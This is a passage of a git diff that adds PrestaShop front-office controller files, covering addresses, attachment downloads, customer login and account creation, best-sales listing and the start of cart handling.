is_numeric(Tools::getValue('id_country'))) + $selected_country = (int)Tools::getValue('id_country'); + else if (isset($this->_address) && isset($this->_address->id_country) && !empty($this->_address->id_country) && is_numeric($this->_address->id_country)) + $selected_country = (int)$this->_address->id_country; + else if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) + { + $array = preg_split('/,|-/', $_SERVER['HTTP_ACCEPT_LANGUAGE']); + if (!Validate::isLanguageIsoCode($array[0]) || !($selected_country = Country::getByIso($array[0]))) + $selected_country = (int)Configuration::get('PS_COUNTRY_DEFAULT'); + } + else + $selected_country = (int)Configuration::get('PS_COUNTRY_DEFAULT'); + + // Generate countries list + if (Configuration::get('PS_RESTRICT_DELIVERED_COUNTRIES')) + $countries = Carrier::getDeliveredCountries($this->context->language->id, true, true); + else + $countries = Country::getCountries($this->context->language->id, true); + + // @todo use helper + $list = ''; + foreach ($countries as $country) + { + $selected = ($country['id_country'] == $selected_country) ? 'selected="selected"' : ''; + $list .= ''; + } + + // Assign vars + $this->context->smarty->assign(array( + 'countries_list' => $list, + 'countries' => $countries, + )); + } + + /** + * Assign template vars related to address format + */ + protected function assignAddressFormat() + { + $id_country = is_null($this->_address)? 0 : (int)$this->_address->id_country; + $dlv_adr_fields = AddressFormat::getOrderedAddressFields($id_country, true, true); + $this->context->smarty->assign('ordered_adr_fields', $dlv_adr_fields); + } + + /** + * Assign template vars related to vat number + * @todo move this in vatnumber module ! + */ + protected function assignVatNumber() + { + $vat_number_exists = file_exists(_PS_MODULE_DIR_.'vatnumber/vatnumber.php'); + $vat_number_management = Configuration::get('VATNUMBER_MANAGEMENT'); + if ($vat_number_management && $vat_number_exists) + include_once(_PS_MODULE_DIR_.'vatnumber/vatnumber.php'); + + if ($vat_number_management && $vat_number_exists && VatNumber::isApplicable(Configuration::get('PS_COUNTRY_DEFAULT'))) + $vat_display = 2; + else if ($vat_number_management) + $vat_display = 1; + else + $vat_display = 0; + + $this->context->smarty->assign(array( + 'vatnumber_ajax_call' => file_exists(_PS_MODULE_DIR_.'vatnumber/ajax.php'), + 'vat_display' => $vat_display, + )); + } + + public function displayAjax() + { + if (count($this->errors)) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors + ); + die(Tools::jsonEncode($return)); + } + } +} diff --git a/controllers/front/AddressesController.php b/controllers/front/AddressesController.php new file mode 100755 index 0000000..d3a46f3 --- /dev/null +++ b/controllers/front/AddressesController.php @@ -0,0 +1,108 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AddressesControllerCore extends FrontController +{ + public $auth = true; + public $php_self = 'addresses'; + public $authRedirection = 'addresses'; + public $ssl = true; + + /** + * Set default medias for this controller + */ + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'addresses.css'); + $this->addJS(_THEME_JS_DIR_.'tools.js'); + } + + /** + * Initialize addresses controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if (!Validate::isLoadedObject($this->context->customer)) + die(Tools::displayError('The customer could not be found.')); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $total = 0; + $multiple_addresses_formated = array(); + $ordered_fields = array(); + $addresses = $this->context->customer->getAddresses($this->context->language->id); + // @todo getAddresses() should send back objects + foreach ($addresses as $detail) + { + $address = new Address($detail['id_address']); + $multiple_addresses_formated[$total] = AddressFormat::getFormattedLayoutData($address); + unset($address); + ++$total; + + // Retro theme < 1.4.2 + $ordered_fields = AddressFormat::getOrderedAddressFields($detail['id_country'], false, true); + } + + // Retro theme 1.4.2 + if ($key = array_search('Country:name', $ordered_fields)) + $ordered_fields[$key] = 'country'; + + $addresses_style = array( + 'company' => 'address_company', + 'vat_number' => 'address_company', + 'firstname' => 'address_name', + 'lastname' => 'address_name', + 'address1' => 'address_address1', + 'address2' => 'address_address2', + 'city' => 'address_city', + 'country' => 'address_country', + 'phone' => 'address_phone', + 'phone_mobile' => 'address_phone_mobile', + 'alias' => 'address_title', + ); + + $this->context->smarty->assign(array( + 'addresses_style' => $addresses_style, + 'multipleAddresses' => $multiple_addresses_formated, + 'ordered_fields' => $ordered_fields, + 'addresses' => $addresses, // Retro Compatibility Theme < 1.4.1 + )); + + $this->setTemplate(_PS_THEME_DIR_.'addresses.tpl'); + } +} + diff --git a/controllers/front/AttachmentController.php b/controllers/front/AttachmentController.php new file mode 100755 index 0000000..47fd32c --- /dev/null +++ b/controllers/front/AttachmentController.php @@ -0,0 +1,42 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AttachmentControllerCore extends FrontController +{ + public function postProcess() + { + $a = new Attachment(Tools::getValue('id_attachment'), $this->context->language->id); + if (!$a->id) + Tools::redirect('index.php'); + + header('Content-Transfer-Encoding: binary'); + header('Content-Type: '.$a->mime); + header('Content-Length: '.filesize(_PS_DOWNLOAD_DIR_.$a->file)); + header('Content-Disposition: attachment; filename="'.utf8_decode($a->file_name).'"'); + readfile(_PS_DOWNLOAD_DIR_.$a->file); + exit; + } +} \ No newline at end of file diff --git a/controllers/front/AuthController.php b/controllers/front/AuthController.php new file mode 100755 index 0000000..fadd40e --- /dev/null +++ b/controllers/front/AuthController.php @@ -0,0 +1,704 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AuthControllerCore extends FrontController +{ + public $ssl = true; + public $php_self = 'authentication'; + + /** + * @var bool create_account + */ + protected $create_account; + + /** + * Initialize auth controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + if (!Tools::getIsset('step') && $this->context->customer->isLogged() && !$this->ajax) + Tools::redirect('index.php?controller='.(($this->authRedirection !== false) ? url_encode($this->authRedirection) : 'my-account')); + + if (Tools::getValue('create_account')) + $this->create_account = true; + } + + /** + * Set default medias for this controller + * @see FrontController::setMedia() + */ + public function setMedia() + { + parent::setMedia(); + if (Context::getContext()->getMobileDevice() === false) + $this->addCSS(_THEME_CSS_DIR_.'authentication.css'); + $this->addJqueryPlugin('typewatch'); + $this->addJS(_THEME_JS_DIR_.'tools/statesManagement.js'); + } + + /** + * Run ajax process + * @see FrontController::displayAjax() + */ + public function displayAjax() + { + $this->display(); + } + + /** + * Assign template vars related to page content + * @see FrontController::initContent() + */ + public function initContent() + { + parent::initContent(); + + $this->context->smarty->assign('genders', Gender::getGenders()); + + $this->assignDate(); + + $this->assignCountries(); + + $active_module_newsletter = false; + if ($module_newsletter = Module::getInstanceByName('blocknewsletter')) + $active_module_newsletter = $module_newsletter->active; + + $this->context->smarty->assign('newsletter', (int)$active_module_newsletter); + + $back = Tools::getValue('back'); + $key = Tools::safeOutput(Tools::getValue('key')); + if (!empty($key)) + $back .= (strpos($back, '?') !== false ? '&' : '?').'key='.$key; + if (!empty($back)) + $this->context->smarty->assign('back', Tools::safeOutput($back)); + + if (Tools::getValue('display_guest_checkout')) + { + if (Configuration::get('PS_RESTRICT_DELIVERED_COUNTRIES')) + $countries = Carrier::getDeliveredCountries($this->context->language->id, true, true); + else + $countries = Country::getCountries($this->context->language->id, true); + + if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) + { + $array = preg_split('/,|-/', $_SERVER['HTTP_ACCEPT_LANGUAGE']); + if (!Validate::isLanguageIsoCode($array[0]) || !($sl_country = Country::getByIso($array[0]))) + $sl_country = (int)Configuration::get('PS_COUNTRY_DEFAULT'); + } + else + $sl_country = (int)Tools::getValue('id_country', Configuration::get('PS_COUNTRY_DEFAULT')); + + $this->context->smarty->assign(array( + 'inOrderProcess' => true, + 'PS_GUEST_CHECKOUT_ENABLED' => Configuration::get('PS_GUEST_CHECKOUT_ENABLED'), + 'PS_REGISTRATION_PROCESS_TYPE' => Configuration::get('PS_REGISTRATION_PROCESS_TYPE'), + 'sl_country' => (int)$sl_country, + 'countries' => $countries + )); + } + + if (Tools::getValue('create_account')) + $this->context->smarty->assign('email_create', 1); + + if (Tools::getValue('multi-shipping') == 1) + $this->context->smarty->assign('multi_shipping', true); + else + $this->context->smarty->assign('multi_shipping', false); + + $this->assignAddressFormat(); + + // Call a hook to display more information on form + $this->context->smarty->assign(array( + 'HOOK_CREATE_ACCOUNT_FORM' => Hook::exec('displayCustomerAccountForm'), + 'HOOK_CREATE_ACCOUNT_TOP' => Hook::exec('displayCustomerAccountFormTop') + )); + + if ($this->ajax) + { + // Call a hook to display more information on form + $this->context->smarty->assign(array( + 'PS_REGISTRATION_PROCESS_TYPE' => Configuration::get('PS_REGISTRATION_PROCESS_TYPE'), + 'genders' => Gender::getGenders() + )); + + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'page' => $this->context->smarty->fetch(_PS_THEME_DIR_.'authentication.tpl'), + 'token' => Tools::getToken(false) + ); + die(Tools::jsonEncode($return)); + } + $this->setTemplate(_PS_THEME_DIR_.'authentication.tpl'); + } + + /** + * Assign date var to smarty + */ + protected function assignDate() + { + // Generate years, months and days + if (isset($_POST['years']) && is_numeric($_POST['years'])) + $selectedYears = (int)($_POST['years']); + $years = Tools::dateYears(); + if (isset($_POST['months']) && is_numeric($_POST['months'])) + $selectedMonths = (int)($_POST['months']); + $months = Tools::dateMonths(); + + if (isset($_POST['days']) && is_numeric($_POST['days'])) + $selectedDays = (int)($_POST['days']); + $days = Tools::dateDays(); + + $this->context->smarty->assign(array( + 'one_phone_at_least' => (int)Configuration::get('PS_ONE_PHONE_AT_LEAST'), + 'onr_phone_at_least' => (int)Configuration::get('PS_ONE_PHONE_AT_LEAST'), //retro compat + 'years' => $years, + 'sl_year' => (isset($selectedYears) ? $selectedYears : 0), + 'months' => $months, + 'sl_month' => (isset($selectedMonths) ? $selectedMonths : 0), + 'days' => $days, + 'sl_day' => (isset($selectedDays) ? $selectedDays : 0) + )); + } + + /** + * Assign countries var to smarty + */ + protected function assignCountries() + { + if (isset($this->create_account)) + { + // Select the most appropriate country + if (isset($_POST['id_country']) && is_numeric($_POST['id_country'])) + $selectedCountry = (int)($_POST['id_country']); + /* FIXME : language iso and country iso are not similar, + * maybe an associative table with country an language can resolve it, + * But for now it's a bug ! + * @see : bug #6968 + * @link:http://www.prestashop.com/bug_tracker/view/6968/ + elseif (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) + { + $array = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); + if (Validate::isLanguageIsoCode($array[0])) + { + $selectedCountry = Country::getByIso($array[0]); + if (!$selectedCountry) + $selectedCountry = (int)(Configuration::get('PS_COUNTRY_DEFAULT')); + } + }*/ + if (!isset($selectedCountry)) + $selectedCountry = (int)(Configuration::get('PS_COUNTRY_DEFAULT')); + + if (Configuration::get('PS_RESTRICT_DELIVERED_COUNTRIES')) + $countries = Carrier::getDeliveredCountries($this->context->language->id, true, true); + else + $countries = Country::getCountries($this->context->language->id, true); + $this->context->smarty->assign(array( + 'countries' => $countries, + 'PS_REGISTRATION_PROCESS_TYPE' => Configuration::get('PS_REGISTRATION_PROCESS_TYPE'), + 'sl_country' => (isset($selectedCountry) ? $selectedCountry : 0), + 'vat_management' => Configuration::get('VATNUMBER_MANAGEMENT') + )); + } + } + + /** + * Assign address var to smarty + */ + protected function assignAddressFormat() + { + $addressItems = array(); + $addressFormat = AddressFormat::getOrderedAddressFields(Configuration::get('PS_COUNTRY_DEFAULT'), false, true); + $requireFormFieldsList = AddressFormat::$requireFormFieldsList; + + foreach ($addressFormat as $addressline) + foreach (explode(' ', $addressline) as $addressItem) + $addressItems[] = trim($addressItem); + + // Add missing require fields for a new user susbscription form + foreach ($requireFormFieldsList as $fieldName) + if (!in_array($fieldName, $addressItems)) + $addressItems[] = trim($fieldName); + + foreach (array('inv', 'dlv') as $addressType) + $this->context->smarty->assign(array($addressType.'_adr_fields' => $addressFormat, $addressType.'_all_fields' => $addressItems)); + } + + /** + * Start forms process + * @see FrontController::postProcess() + */ + public function postProcess() + { + if (Tools::isSubmit('SubmitCreate')) + $this->processSubmitCreate(); + + if (Tools::isSubmit('submitAccount') || Tools::isSubmit('submitGuestAccount')) + $this->processSubmitAccount(); + + if (Tools::isSubmit('SubmitLogin')) + $this->processSubmitLogin(); + } + + /** + * Process login + */ + protected function processSubmitLogin() + { + Hook::exec('actionBeforeAuthentication'); + $passwd = trim(Tools::getValue('passwd')); + $email = trim(Tools::getValue('email')); + if (empty($email)) + $this->errors[] = Tools::displayError('An email address required.'); + elseif (!Validate::isEmail($email)) + $this->errors[] = Tools::displayError('Invalid email address.'); + elseif (empty($passwd)) + $this->errors[] = Tools::displayError('Password is required.'); + elseif (!Validate::isPasswd($passwd)) + $this->errors[] = Tools::displayError('Invalid password.'); + else + { + $customer = new Customer(); + $authentication = $customer->getByEmail(trim($email), trim($passwd)); + if (!$authentication || !$customer->id) + $this->errors[] = Tools::displayError('Authentication failed.'); + else + { + $this->context->cookie->id_compare = isset($this->context->cookie->id_compare) ? $this->context->cookie->id_compare: CompareProduct::getIdCompareByIdCustomer($customer->id); + $this->context->cookie->id_customer = (int)($customer->id); + $this->context->cookie->customer_lastname = $customer->lastname; + $this->context->cookie->customer_firstname = $customer->firstname; + $this->context->cookie->logged = 1; + $customer->logged = 1; + $this->context->cookie->is_guest = $customer->isGuest(); + $this->context->cookie->passwd = $customer->passwd; + $this->context->cookie->email = $customer->email; + + // Add customer to the context + $this->context->customer = $customer; + + if (Configuration::get('PS_CART_FOLLOWING') && (empty($this->context->cookie->id_cart) || Cart::getNbProducts($this->context->cookie->id_cart) == 0) && $id_cart = (int)Cart::lastNoneOrderedCart($this->context->customer->id)) + $this->context->cart = new Cart($id_cart); + else + { + $this->context->cart->id_carrier = 0; + $this->context->cart->setDeliveryOption(null); + $this->context->cart->id_address_delivery = Address::getFirstCustomerAddressId((int)($customer->id)); + $this->context->cart->id_address_invoice = Address::getFirstCustomerAddressId((int)($customer->id)); + } + $this->context->cart->id_customer = (int)$customer->id; + $this->context->cart->secure_key = $customer->secure_key; + $this->context->cart->save(); + $this->context->cookie->id_cart = (int)$this->context->cart->id; + $this->context->cookie->write(); + $this->context->cart->autosetProductAddress(); + + Hook::exec('actionAuthentication'); + + // Login information have changed, so we check if the cart rules still apply + CartRule::autoRemoveFromCart($this->context); + CartRule::autoAddToCart($this->context); + + if (!$this->ajax) + { + if ($back = Tools::getValue('back')) + Tools::redirect(html_entity_decode($back)); + Tools::redirect('index.php?controller='.(($this->authRedirection !== false) ? url_encode($this->authRedirection) : 'my-account')); + } + } + } + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'token' => Tools::getToken(false) + ); + die(Tools::jsonEncode($return)); + } + else + $this->context->smarty->assign('authentification_error', $this->errors); + } + + /** + * Process the newsletter settings and set the customer infos. + * + * @param Customer $customer Reference on the customer Object. + * + * @note At this point, the email has been validated. + */ + protected function processCustomerNewsletter(&$customer) + { + if (Tools::getValue('newsletter')) + { + $customer->ip_registration_newsletter = pSQL(Tools::getRemoteAddr()); + $customer->newsletter_date_add = pSQL(date('Y-m-d H:i:s')); + + if ($module_newsletter = Module::getInstanceByName('blocknewsletter')) + if ($module_newsletter->active) + $module_newsletter->confirmSubscription(Tools::getValue('email')); + } + } + + /** + * Process submit on an account + */ + protected function processSubmitAccount() + { + Hook::exec('actionBeforeSubmitAccount'); + $this->create_account = true; + if (Tools::isSubmit('submitAccount')) + $this->context->smarty->assign('email_create', 1); + // New Guest customer + if (!Tools::getValue('is_new_customer', 1) && !Configuration::get('PS_GUEST_CHECKOUT_ENABLED')) + $this->errors[] = Tools::displayError('You cannot create a guest account..'); + if (!Tools::getValue('is_new_customer', 1)) + $_POST['passwd'] = md5(time()._COOKIE_KEY_); + if (isset($_POST['guest_email']) && $_POST['guest_email']) + $_POST['email'] = $_POST['guest_email']; + // Checked the user address in case he changed his email address + if (Validate::isEmail($email = Tools::getValue('email')) && !empty($email)) + if (Customer::customerExists($email)) + $this->errors[] = Tools::displayError('An account using this email address has already been registered.', false); + // Preparing customer + $customer = new Customer(); + $lastnameAddress = Tools::getValue('lastname'); + $firstnameAddress = Tools::getValue('firstname'); + $_POST['lastname'] = Tools::getValue('customer_lastname'); + $_POST['firstname'] = Tools::getValue('customer_firstname'); + + $error_phone = false; + if (Configuration::get('PS_ONE_PHONE_AT_LEAST')) + { + if (Tools::isSubmit('submitGuestAccount') || !Tools::getValue('is_new_customer')) + { + if (!Tools::getValue('phone') && !Tools::getValue('phone_mobile')) + $error_phone = true; + } + elseif (((Configuration::get('PS_REGISTRATION_PROCESS_TYPE') || Configuration::get('PS_ORDER_PROCESS_TYPE')) + && (Configuration::get('PS_ORDER_PROCESS_TYPE') && !Tools::getValue('email_create'))) + && (!Tools::getValue('phone') && !Tools::getValue('phone_mobile'))) + $error_phone = true; + elseif (((Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && Configuration::get('PS_ORDER_PROCESS_TYPE') && Tools::getValue('email_create'))) + && (!Tools::getValue('phone') && !Tools::getValue('phone_mobile'))) + $error_phone = true; + } + + if ($error_phone) + $this->errors[] = Tools::displayError('You must register at least one phone number.'); + + $this->errors = array_unique(array_merge($this->errors, $customer->validateController())); + + // Check the requires fields which are settings in the BO + $this->errors = array_merge($this->errors, $customer->validateFieldsRequiredDatabase()); + + if (!Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && !$this->ajax && !Tools::isSubmit('submitGuestAccount')) + { + if (!count($this->errors)) + { + if (Tools::isSubmit('newsletter')) + $this->processCustomerNewsletter($customer); + + $customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + if (!Validate::isBirthDate($customer->birthday)) + $this->errors[] = Tools::displayError('Invalid date of birth.'); + + // New Guest customer + $customer->is_guest = (Tools::isSubmit('is_new_customer') ? !Tools::getValue('is_new_customer', 1) : 0); + $customer->active = 1; + + if (!count($this->errors)) + { + if ($customer->add()) + { + if (!$customer->is_guest) + if (!$this->sendConfirmationMail($customer)) + $this->errors[] = Tools::displayError('The email cannot be sent.'); + + $this->updateContext($customer); + + $this->context->cart->update(); + Hook::exec('actionCustomerAccountAdd', array( + '_POST' => $_POST, + 'newCustomer' => $customer + )); + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'isSaved' => true, + 'id_customer' => (int)$this->context->cookie->id_customer, + 'id_address_delivery' => $this->context->cart->id_address_delivery, + 'id_address_invoice' => $this->context->cart->id_address_invoice, + 'token' => Tools::getToken(false) + ); + die(Tools::jsonEncode($return)); + } + + if ($back = Tools::getValue('back')) + Tools::redirect(html_entity_decode($back)); + // redirection: if cart is not empty : redirection to the cart + if (count($this->context->cart->getProducts(true)) > 0) + Tools::redirect('index.php?controller=order&multi-shipping='.(int)Tools::getValue('multi-shipping')); + // else : redirection to the account + else + Tools::redirect('index.php?controller='.(($this->authRedirection !== false) ? url_encode($this->authRedirection) : 'my-account')); + } + else + $this->errors[] = Tools::displayError('An error occurred while creating your account..'); + } + } + + } + else // if registration type is in one step, we save the address + { + // Preparing address + $address = new Address(); + $_POST['lastname'] = $lastnameAddress; + $_POST['firstname'] = $firstnameAddress; + $address->id_customer = 1; + $this->errors = array_unique(array_merge($this->errors, $address->validateController())); + + // US customer: normalize the address + if ($address->id_country == Country::getByIso('US')) + { + include_once(_PS_TAASC_PATH_.'AddressStandardizationSolution.php'); + $normalize = new AddressStandardizationSolution; + $address->address1 = $normalize->AddressLineStandardization($address->address1); + $address->address2 = $normalize->AddressLineStandardization($address->address2); + } + + if (!($country = new Country($address->id_country)) || !Validate::isLoadedObject($country)) + $this->errors[] = Tools::displayError('Country cannot be loaded with address->id_country'); + $postcode = Tools::getValue('postcode'); + /* Check zip code format */ + if ($country->zip_code_format && !$country->checkZipCode($postcode)) + $this->errors[] = sprintf(Tools::displayError('The Zip/Postal code you\'ve entered is invalid. It must follow this format: %s'), str_replace('C', $country->iso_code, str_replace('N', '0', str_replace('L', 'A', $country->zip_code_format)))); + elseif(empty($postcode) && $country->need_zip_code) + $this->errors[] = Tools::displayError('A Zip / Postal code is required.'); + elseif ($postcode && !Validate::isPostCode($postcode)) + $this->errors[] = Tools::displayError('The Zip / Postal code is invalid.'); + + if ($country->need_identification_number && (!Tools::getValue('dni') || !Validate::isDniLite(Tools::getValue('dni')))) + $this->errors[] = Tools::displayError('The identification number is incorrect or has already been used.'); + elseif (!$country->need_identification_number) + $address->dni = null; + } + + if (!@checkdate(Tools::getValue('months'), Tools::getValue('days'), Tools::getValue('years')) && !(Tools::getValue('months') == '' && Tools::getValue('days') == '' && Tools::getValue('years') == '')) + $this->errors[] = Tools::displayError('Invalid date of birth'); + + if (!count($this->errors)) + { + if (Customer::customerExists(Tools::getValue('email'))) + $this->errors[] = Tools::displayError('An account using this email address has already been registered. Please enter a valid password or request a new one. ', false); + if (Tools::isSubmit('newsletter')) + $this->processCustomerNewsletter($customer); + + $customer->birthday = (empty($_POST['years']) ? '' : (int)$_POST['years'].'-'.(int)$_POST['months'].'-'.(int)$_POST['days']); + if (!Validate::isBirthDate($customer->birthday)) + $this->errors[] = Tools::displayError('Invalid date of birth'); + + if (!count($this->errors)) + { + // if registration type is in one step, we save the address + if (Configuration::get('PS_REGISTRATION_PROCESS_TYPE') || Tools::isSubmit('submitGuestAccount')) + if (!($country = new Country($address->id_country, Configuration::get('PS_LANG_DEFAULT'))) || !Validate::isLoadedObject($country)) + die(Tools::displayError()); + $contains_state = isset($country) && is_object($country) ? (int)$country->contains_states: 0; + $id_state = isset($address) && is_object($address) ? (int)$address->id_state: 0; + if (Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && $contains_state && !$id_state) + $this->errors[] = Tools::displayError('This country requires you to chose a State.'); + else + { + $customer->active = 1; + // New Guest customer + if (Tools::isSubmit('is_new_customer')) + $customer->is_guest = !Tools::getValue('is_new_customer', 1); + else + $customer->is_guest = 0; + if (!$customer->add()) + $this->errors[] = Tools::displayError('An error occurred while creating your account..'); + else + { + $address->id_customer = (int)$customer->id; + $this->errors = array_unique(array_merge($this->errors, $address->validateController())); + if (!count($this->errors) && (Configuration::get('PS_REGISTRATION_PROCESS_TYPE') || $this->ajax || Tools::isSubmit('submitGuestAccount')) && !$address->add()) + $this->errors[] = Tools::displayError('An error occurred while creating your address.'); + else + { + if (!$customer->is_guest) + { + $this->context->customer = $customer; + $customer->cleanGroups(); + // we add the guest customer in the default customer group + $customer->addGroups(array((int)Configuration::get('PS_CUSTOMER_GROUP'))); + if (!$this->sendConfirmationMail($customer)) + $this->errors[] = Tools::displayError('The email cannot be sent.'); + } + else + { + $customer->cleanGroups(); + // we add the guest customer in the guest customer group + $customer->addGroups(array((int)Configuration::get('PS_GUEST_GROUP'))); + } + $this->updateContext($customer); + $this->context->cart->id_address_delivery = Address::getFirstCustomerAddressId((int)$customer->id); + $this->context->cart->id_address_invoice = Address::getFirstCustomerAddressId((int)$customer->id); + + // If a logged guest logs in as a customer, the cart secure key was already set and needs to be updated + $this->context->cart->update(); + + // Avoid articles without delivery address on the cart + $this->context->cart->autosetProductAddress(); + + Hook::exec('actionCustomerAccountAdd', array( + '_POST' => $_POST, + 'newCustomer' => $customer + )); + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'isSaved' => true, + 'id_customer' => (int)$this->context->cookie->id_customer, + 'id_address_delivery' => $this->context->cart->id_address_delivery, + 'id_address_invoice' => $this->context->cart->id_address_invoice, + 'token' => Tools::getToken(false) + ); + die(Tools::jsonEncode($return)); + } + // if registration type is in two steps, we redirect to register address + if (!Configuration::get('PS_REGISTRATION_PROCESS_TYPE') && !$this->ajax && !Tools::isSubmit('submitGuestAccount')) + Tools::redirect('index.php?controller=address'); + + if ($back = Tools::getValue('back')) + Tools::redirect(html_entity_decode($back)); + + // redirection: if cart is not empty : redirection to the cart + if (count($this->context->cart->getProducts(true)) > 0) + Tools::redirect('index.php?controller=order&multi-shipping='.(int)Tools::getValue('multi-shipping')); + // else : redirection to the account + else + Tools::redirect('index.php?controller='.(($this->authRedirection !== false) ? url_encode($this->authRedirection) : 'my-account')); + } + } + } + } + } + + if (count($this->errors)) + { + //for retro compatibility to display guest account creation form on authentication page + if (Tools::getValue('submitGuestAccount')) + $_GET['display_guest_checkout'] = 1; + + if (!Tools::getValue('is_new_customer')) + unset($_POST['passwd']); + if ($this->ajax) + { + $return = array( + 'hasError' => !empty($this->errors), + 'errors' => $this->errors, + 'isSaved' => false, + 'id_customer' => 0 + ); + die(Tools::jsonEncode($return)); + } + $this->context->smarty->assign('account_error', $this->errors); + } + } + + /** + * Process submit on a creation + */ + protected function processSubmitCreate() + { + if (!Validate::isEmail($email = Tools::getValue('email_create')) || empty($email)) + $this->errors[] = Tools::displayError('Invalid email address.'); + elseif (Customer::customerExists($email)) + { + $this->errors[] = Tools::displayError('An account using this email address has already been registered. Please enter a valid password or request a new one. ', false); + $_POST['email'] = $_POST['email_create']; + unset($_POST['email_create']); + } + else + { + $this->create_account = true; + $this->context->smarty->assign('email_create', Tools::safeOutput($email)); + $_POST['email'] = $email; + } + } + + /** + * Update context after customer creation + * @param Customer $customer Created customer + */ + protected function updateContext(Customer $customer) + { + $this->context->customer = $customer; + $this->context->smarty->assign('confirmation', 1); + $this->context->cookie->id_customer = (int)$customer->id; + $this->context->cookie->customer_lastname = $customer->lastname; + $this->context->cookie->customer_firstname = $customer->firstname; + $this->context->cookie->passwd = $customer->passwd; + $this->context->cookie->logged = 1; + // if register process is in two steps, we display a message to confirm account creation + if (!Configuration::get('PS_REGISTRATION_PROCESS_TYPE')) + $this->context->cookie->account_created = 1; + $customer->logged = 1; + $this->context->cookie->email = $customer->email; + $this->context->cookie->is_guest = !Tools::getValue('is_new_customer', 1); + // Update cart address + $this->context->cart->secure_key = $customer->secure_key; + } + + /** + * sendConfirmationMail + * @param Customer $customer + * @return bool + */ + protected function sendConfirmationMail(Customer $customer) + { + return Mail::Send( + $this->context->language->id, + 'account', + Mail::l('Welcome!'), + array( + '{firstname}' => $customer->firstname, + '{lastname}' => $customer->lastname, + '{email}' => $customer->email, + '{passwd}' => Tools::getValue('passwd')), + $customer->email, + $customer->firstname.' '.$customer->lastname + ); + } +} diff --git a/controllers/front/BestSalesController.php b/controllers/front/BestSalesController.php new file mode 100755 index 0000000..f21146e --- /dev/null +++ b/controllers/front/BestSalesController.php @@ -0,0 +1,59 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class BestSalesControllerCore extends FrontController +{ + public $php_self = 'best-sales'; + + public function initContent() + { + parent::initContent(); + + $this->productSort(); + $nbProducts = (int)ProductSale::getNbSales(); + $this->pagination($nbProducts); + + $this->context->smarty->assign(array( + 'products' => ProductSale::getBestSales($this->context->language->id, $this->p - 1, $this->n, $this->orderBy, $this->orderWay), + 'add_prod_display' => Configuration::get('PS_ATTRIBUTE_CATEGORY_DISPLAY'), + 'nbProducts' => $nbProducts, + 'homeSize' => Image::getSize(ImageType::getFormatedName('home')), + 'comparator_max_item' => Configuration::get('PS_COMPARATOR_MAX_ITEM') + )); + + $this->setTemplate(_PS_THEME_DIR_.'best-sales.tpl'); + } + + public function setMedia() + { + parent::setMedia(); + $this->addCSS(_THEME_CSS_DIR_.'product_list.css'); + + if (Configuration::get('PS_COMPARATOR_MAX_ITEM')) + $this->addJS(_THEME_JS_DIR_.'products-comparison.js'); + } +} + diff --git a/controllers/front/CartController.php b/controllers/front/CartController.php new file mode 100755 index 0000000..a29dcbf --- /dev/null +++ b/controllers/front/CartController.php @@ -0,0 +1,344 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CartControllerCore extends FrontController +{ + public $php_self = 'cart'; + + protected $id_product; + protected $id_product_attribute; + protected $id_address_delivery; + protected $customization_id; + protected $qty; + + protected $ajax_refresh = false; + + /** + * This is not a public page, so the canonical redirection is disabled + */ + public function canonicalRedirection($canonicalURL = '') + { + } + + /** + * Initialize cart controller + * @see FrontController::init() + */ + public function init() + { + parent::init(); + + // Get page main parameters + $this->id_product = (int)Tools::getValue('id_product', null); + $this->id_product_attribute = (int)Tools::getValue('id_product_attribute', Tools::getValue('ipa')); + $this->customization_id = (int)Tools::getValue('id_customization'); + $this->qty = abs(Tools::getValue('qty', 1)); + $this->id_address_delivery = (int)Tools::getValue('id_address_delivery'); + } + + public function postProcess() + { + // Update the cart ONLY if $this->cookies are available, in order to avoid ghost carts created by bots + if ($this->context->cookie->exists() && !$this->errors && !($this->context->customer->isLogged() && !$this->isTokenValid())) + { + if (Tools::getIsset('add') || Tools::getIsset('update')) + $this->processChangeProductInCart(); + else if (Tools::getIsset('delete')) + $this->processDeleteProductInCart(); + else if (Tools::getIsset('changeAddressDelivery')) + $this->processChangeProductAddressDelivery(); + else if (Tools::getIsset('allowSeperatedPackage')) + $this->processAllowSeperatedPackage(); + else if (Tools::getIsset('duplicate')) + $this->processDuplicateProduct(); + // Make redirection + if (!$this->errors && !$this->ajax) + { + $queryString = Tools::safeOutput(Tools::getValue('query', null)); + if ($queryString && !Configuration::get('PS_CART_REDIRECT')) + Tools::redirect('index.php?controller=search&search='.$queryString); + + // Redirect to previous page + if (isset($_SERVER['HTTP_REFERER'])) + 